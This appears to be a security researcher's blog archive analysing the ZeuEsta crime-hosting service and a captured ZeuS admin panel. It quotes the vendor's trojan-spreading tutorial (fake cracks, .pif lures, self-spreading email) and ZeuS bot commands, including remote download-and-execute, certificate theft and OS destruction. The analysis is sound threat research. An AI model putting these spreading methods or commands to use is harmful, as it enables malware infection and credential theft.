Tag Archive for 'crimeware'

ZeuEsta: ZeuS cybercrime hosting with SPack

Recently I came across a web page which is selling ZeuS as a service. That’s not very new, but I decided to write about it anyway since the page looks quite interesting.

But first of all: What is ZeuEsta?
ZeuEsta comes from the two words ZeuS and El Fiesta. ZeuEsta is a mix of the ZeuS crimeware and the El Fiesta Exploit Kit. However, since April 17 2009 ZeuEsta is no longer sold with the El Fiesta Exploit Kit, but now in combination with SPack Exploit Kit:

17/5/2009 – Upgrade
ZeuEsta is now a mix of ZeuS and SPack not ZueS and Fiesta.

The page which I came awar is selling ZeuEsta as a service. The page seems to be very informative. You can see how many User Slots are available, how many of them are already assigned and which version of ZeuEsta is beeing used:

Load Status:

Current Version: 6.0
User Slots Filled: 4/6

Additionally you can see on the page that the ZeuEsta hosting service is already running since November 2008.

ZeuEsta Cybercrime hosting

The web page which is promoting / selling this services is called zeus-services.info and is hosted at AltaVista (Yahoo):

dig zeus-services.info

;; QUESTION SECTION:
;zeus-services.info. IN A

;; ANSWER SECTION:
zeus-services.info. 1200 IN A 216.39.57.104

OrgName: AltaVista Company
OrgID: ALTAVI-1
Address: 701 First Ave
City: Sunnyvale
StateProv: CA
PostalCode: 94089
Country: US

NetRange: 216.39.48.0 – 216.39.63.255
CIDR: 216.39.48.0/20
NetName: NETBLK-INTERNET-BLK-1-AV
NetHandle: NET-216-39-48-0-1
Parent: NET-216-0-0-0-0
NetType: Direct Assignment
NameServer: NS1.YAHOO.COM
NameServer: NS2.YAHOO.COM
NameServer: NS3.YAHOO.COM
NameServer: NS4.YAHOO.COM
NameServer: NS5.YAHOO.COM

Here is the whois output of zeus-services.info:

Domain ID:D28733635-LRMS
Domain Name:ZEUS-SERVICES.INFO
Created On:09-Jun-2009 17:06:38 UTC
Last Updated On:10-Jun-2009 02:04:45 UTC
Expiration Date:09-Jun-2011 17:06:38 UTC

Sponsoring Registrar:Melbourne IT Ltd. (R141-LRMS)
Status:CLIENT TRANSFER PROHIBITED
Status:TRANSFER PROHIBITED

Registrant ID:A124447136247250
Registrant Name:Narayan Pradeep
Registrant Organization:Pradeep
Registrant Street1:26 Wangsa Setia 4 Wangsa Melaw
Registrant Street2:
Registrant Street3:
Registrant City:Kuala Lumpur
Registrant State/Province:selangor
Registrant Postal Code:53300
Registrant Country:MY

There is a Question&Answers section on the page which describes how ZeuEsta works:

ZeuEsta works by silently redirecting traffic from websites to your ZeuEsta exploit page.

There are also some features of ZeuEsta listed on the page like the fact that ZeuEsta is exploiting IE, Firefox, Opera and Adobe Reader 6/7/8, logging outgoing browser connections (HTTP/HTTPS/FTP), stealing browser cookies and accessing all sites defined in the config file (e.g. used for stealing banking information and Credit Cards).

Much more interessting as the features of ZeuEsta is the price model of the service and what a cybercriminal gets for his money when he buys ZeuEsta Hosting:

ZeuEsta is $600 USD. (Zeus 1.2.4.6 + Install on the server + 1 month free hosting). Hosting costs $100 per month. We accept payment by WU (westernunion) or LR (libertyreserve).
* Existing customers can also pay via Western Union but we do not accept it for first time customers.
[...]
After payment confirmation we will send you the following:
* 1 Months access to members area
* User/Password of your ZeuEsta Admin Panel to view logs, online bots, exploit stats, issue commands and so on.
* A specially crafted iframe to add to remote websites to generate traffic for your panel to start exploiting.
* Support on how to generate traffic, how to hide iframes and how to spread your bot.
* Weekly updated undetected binaries.
* Everything else that is listed above in features

As you can see above, the vendor of the service is offering the cybercriminals a weekly update of undetected binaries to spread the ZeuS bot. But what happens when the ZeuEsta hosting sevice runs out and the cybercriminal fails to pay for the service for another month? Well, the vendor of the ZeuEsta will just sell the ZeuS botnet to another customer:

After that 2 weeks is over your bots will be updated / Sold off to another client and be gone for good.

If the cybercriminal is still not feeling confident, the vendor offers him a free demo of the ZeuEsta hosting service.

There is also a tutorial on the page which is describing different ways to spread the ZeuS bot:

Filename: Spread bots.txt
In this tutorial/guide, I am going to tell you ways to spread your bot/trojan.

1. Torrents
This is pretty easy, and pretty successful.

First you need a torrent client, I use uTorrent, because it’s the easiest.

Once you get your torrent client, make a folder full of .zip files with names of popular programs (e.g. Kaspersky 2009 Crack.zip) and put your bot/trojan inside.

Now you need to create the torrents.
Open uTorrent (or your other torrent client), and click File|Create New Torrent… Then add one of your fake programs (The Kaspersky 2009 Crack.zip or what ever).

Now you need to add trackers.

Code: Select all
Here are some good trackers you can use:

http://open.tracker.thepiratebay.org/announce

http://www.torrent-downloads.to:2710/announce

http://denis.stalker.h3q.com:6969/announce

udp://denis.stalker.h3q.com:6969/announce

http://www.sumotracker.com/announce

Don’t check private, but do check start seeding.

Now click Create and save as..

Once you save, go to thepiratebay.org, and register, and click upload torrent.

Do this too all of your fake cracks or programs.

You can also get programs or stuff that people might want, and just bind your bot/trojan to it then create the torrent that way (takes longer, but more people might download it).

2. Crack Request forums
This way is pretty easy and is pretty effective.

First get hosting that allows custom 404 pages (I suggest getting a .info domain from godaddy (only $0.99), because you can upload viruses, and have custom error 404 pages.

Once you get this, upload your bot/trojan to you hosting (e.g. “www.freefileupload247.info/files/bot.exe”), then make the custom 404 page “www.freefileupload247.info/files/bot.exe” (or what ever you uploaded you bot/trojan as).

Then no matter what url someone goes to on your site, it will download your bot/trojan
(like “www.freefileupload247.info/files/34736745/asdfasdg.exe” or “www.freefileupload247.info/a.exe” or even better “www.freefileupload247.info/files/2765345/Kaspersky.2009.Crack.exe”)

Then find a software cracking forum that has a subform for “Crack Requests”.
Then you click on a whole bunch of the requests and reply to all of them with something like this:

I found the keygen for it:
“http://www.freefileupload247.info/files/234572/Nero.9.Keygen.exe”
That is a good way of doing it.

3. Chatrooms
Here is another good way.
Go on some chatroom somewhere and put your name as something like Jenna247. Then PM a bunch of guys with something like this:

Heyy my name is Jenna asl?
You want to see a picture of me?
“http://www.freefileupload247.com/pictures/2047529/Me_at_sleepover.pif”
I don’t know if you can open it, I’m on a mac.

If you rename a .exe file to a .pif, it will run just as the .exe does, so with your custom 404, if they go to your server /anything.pif, if will download your bot/trojan) And a .pif file looks like it could be a picture >:D

You could do this to a bunch of people at once, or make your bot do it.

4. Email
Not that easy, but could be good.

Make your bot/trojan get a list of all the zombie’s (infected computer) contacts, and have it send out an email from a random email address (such as SmithJenna247@yahoo.com) with something like this:

Hey it’s Jenna, I don’t think you remember me, but we met a while ago.
Here is a picture of us: “http://www.freefileuploads247.com/pictures/342772/2008_36327.pif”

Then if someone from their contacts downloads it, it will send to to all their contacts and so on.

I hope this tutorial/guide helped you, if you have anything to add, please do so.

All Rights Reserved © 2008 – 2009 by www.Zeus-ServiceS.Info

Another File is describing the ZeuS Commands:

Filename: Zeus Commands.txt
Zeus commands are available now:

Command and its parameters are written on the rules of the configuration file

Quote:block_fake [URL-mask] – call blocking any URL-redirect, URL-mask which will be treated under the URL-mask this team.

unblock_fake [mask] – from a list of blocked URL-redirects will remove all URL-masks, which will be treated under the URL-mask of this team.

block_url – call blocking any URL, which will coincide with the URL-mask of this team.

unblock_url- from the list of blocked URL will remove all URL-masks, which will be treated under the URL-mask of this team.

rexec “http://taarar.com/tvoj.exe” – upload exe
rexeci “http://taarar.com/tvoj.exe” – f – ignore version of config
lexec “C: \ windows \ system32 \ calc.exe” – will open a calculator for this user (for example, the calculator, can open any other)
resetgrab – re-purification Cookies, protect storage
getmff – get solfiles with bots
delmff – clear solfiles
getcert – to obtain certificates of all hranilish
addsff “*. doc” – get all the evidentiary files Bot
getfile “kkk.doc” – receive a file with the bot

upcfg [url] – after receiving the command boat immediately try to download a configuration file in a standard URL.
Quote:kos – incapacitate OS, namely grip branches HKEY_CURRENT_USER registry and / or HKEY_LOCAL_MACHINE.
If you have sufficient privileges – fly to “blue screen”, in other cases creates the brakes. Following these steps, loading OS will not be possible!

All Rights Reserved © 2008 – 2009 by www.Zeus-ServiceS.Info

While I was doing some research in this case I came accross a forum topic where some people talked about ZeuEsta. There are some interessting posts concering this topic like that the original price for ZeuEsta is about $150 (zeus-services.info is selling it for 600$). Another one says:

[...] I got a botnet with 800 zombies (mostly USA) :)

In a another forum the vendor of ZeuEsta hosting says:

ZeuEsta Hosting is now back!

ZeuEsta Hosting has been around since November 2008, we have had a 90+ day downtime to stop google and firefox listing our domains as malicious and are ready to go again.[...]

And later:

Domain has been suspended, new domain up over the next few weeks.

Now he is selling the service using the two domains zeus-services.info / zeus-service.blogspot.com.

Last but not least there are some contact informations on the page:

YIM: zeus.services or email us at info@zeus-services.info

Conclusion

It’s interessting to see that two crimeware kits are beeing combined (ZeuS and SPack). It seems that there is a price competition in the criminal underground and that the price for the same crimeware kit can vary from just a few dollars up to hundreds of dollars and more.

But the six slots for customers which the ZeuEsta hosting service offers is just a drop in a bucket: There are currently more than 200 well known hosts around the globe which are spreading the ZeuS trojan and/or acting as Command&Control Server (C&C) for ZeuS infected bots (see abuse.ch ZeuS Tracker). According to Damballa, ZeuS has with 3.6 million infected computers the most infected computers in United States (Source: Network World: America’s 10 most wanted botnets).

During my reasearch I came across some post where vendors of such crimeware services / crimeware kits are complaining about DDoS attacks againts their site(s) where they are selling their services / crimeware kits. Obviouslye criminals are not only attacking legitim websites (like abuse.ch) using DDoS attacks, but are also fighting against each other.

Cybercrime is a dirty business – Keep your hands off :)

Further reading

Insight a ZeuS C&C server

During my work on the ZeuS Tracker I often see insecure ZeuS installations that allow easy access to the ZeuS MySQL database or the ZeuS Admin Panel of a Command&Control server; In some cases the MySQL database appear for a short time on unprotected, public webservers without even a password protection, usually in order to transfer data between different criminal groups. Some time ago I had the occasion to copy such an unprotected database and mirror the ZeuS admin panel software on my own test system. This allowed me to study the Admin interface and document it in this post, so I can reveal you details about the ZeuS internals.

First of all I give you some information and statistical data about the ZeuS C&C server concerned:

Let’s say that the ZeuS C&C server is hosted on veryevilzeusdomain.tld. The botnet has a size of 3’985 infected clients (total installations). The server is currently offline and was hosted on AS9800 (UNICOM CHINA UNICOM). The C&C server was online for 25 days (2009-02-13 until 2009-03-09). During this period, the cybercriminal has captured over 3’677’358 datasets.

Below you can see some statistical data about this ZeuS Command&Control server:

Botnet size per day

ZeuS botnet size per day

Botnet geo location

ZeuS botnet geo location
Number of captured datasets

ZeuS crimeware: Number of captured datasets

Insight ZeuS

Let’s start with the ZeuS Admin Panel. Here we go…
Normally, the ZeuS Admin Panel is located on a file called “in.php”. Example:

http://veryevilzeusdomain.tld/zs/in.php

The login page of the ZeuS Panel looks like this:

ZeuS Admin Panel: Login page

On the login page, you can choose between two different languages: Russia and English. After a successful login, you will be redirected to the statistical summary of the ZeuS installation:

ZeuS Admin Panel: statistical summary

On this page you are able to group the infected clients (bots) to different botnets. This can be very useful. For example: You can group infected machines which have a fast internet connection to one “botnet”. You can also see some interesting data like how many logs are in the database, the time of first install and the total bot count.

On the section botnet->Online bots you can see some information about each bot which is currently online:

ZeuS Admin Panel: Online bots

The function Screenshot is quit interesting. With this function the cybercriminal is able to get a screenshot of each infected system, which is currently online. As you can see, the ZeuS trojan installs a backdoor which creates a SOCKS proxy and a Web proxy on the infected system. The cybercriminal can use these proxies to hide his identity while he access eg. the victims online banking account to steal money from them. By clicking on a proxy, the cybercriminal can get some information about the proxy (e.g. on which port the proxy is installed or whether the proxy is already used or not):

ZeuS Admin Panel: Proxy information

On the tab Remote commands the cybercrime can define commands for a hole botnet, bots from a specified country or just a single computer:

zeuspanel5

For example, such command can advise a infected client to download more malicious code:

ZeuS Admin Panel: Send commands to the infected systems (bots)

Here is a list of commands, which are available in the ZeuS crimeware:

  • block_url
  • unblock_url
  • rexeci
  • lexeci
  • delsf
  • resetgrab
  • getmff
  • delmff
  • getcert
  • addsff
  • rexec
  • lexec
  • getfile
  • upcfg
  • kos
  • On the navigation tab Logs the cybercriminal is able to start a log search. There, he can set a filter and search for a specified string and/or a specified Log typ. The Logs search has also a function to search in a specified time range. For example: Let’s start a search for FTP credentials which the ZeuS crimeware has captured on the 6. march:

    ZeuS Panel: Search for stolen FTP credentials

    Here is a list of Log types which the cybercriminal can search for:

  • any
  • HTTP
  • HTTPs
  • HTTP/HTTPs
  • FTP
  • POP3
  • Grabbed data
  • Protected Storage
  • IE history
  • Other
  • As you can see, the cybercriminal is also able to search for captured HTTPS credentials:

    ZeuS Panel: Search for captured HTTPS credentials

    On the screenshot above you can see that the crimeware has already stole credentials for online services like Windows Live and Google. But the crimeware is even worse: It is able to capture credentials for Online Banking accounts from HTTPS connections and from the protected storage (Pstore):

    ZeuS Panel: Stolen credentials for online banking accounts

    Last but not least on the System settings in the navigation the cybercriminal can add / edit profiles:

    ZeuS Panel: Add / Edit profile

    Conclusion

    The ZeuS crimeware kit is a big security issue and is still spearing thru Drive-By infections and mass spam campaigns like the spoofed Delta Air Line spam on February 09 (Link).

    If we take a look into the ZeuS Tracker, we can see over 100 ZeuS config files which are currently online. Additionally the tracker has already captured over 250 unique binaries.

  • browse ZeuS binaries
  • browse ZeuS config files
  • I highly recommend corporate networks to use the ZeuS blocklist to block malicious traffic from and to well known ZeuS C&C servers on the corporate web gateway/ firewall.

    Disclaimer

    The test system I used for the screenshots below was never connected to the internet, so no outbound network accesses occured during those tests. It was not required to enter any passwords or other credentials on any servers to obtain this copy of the database or the ZeuS admin panel software I mirrored – all of that was available for short periods of time unprotected on the net. But, as stated above, many real live ZeuS systems actually are insecure and would allow third parties to break in – events, that seem to occur regularly when botnets from one group are stolen by other groups.




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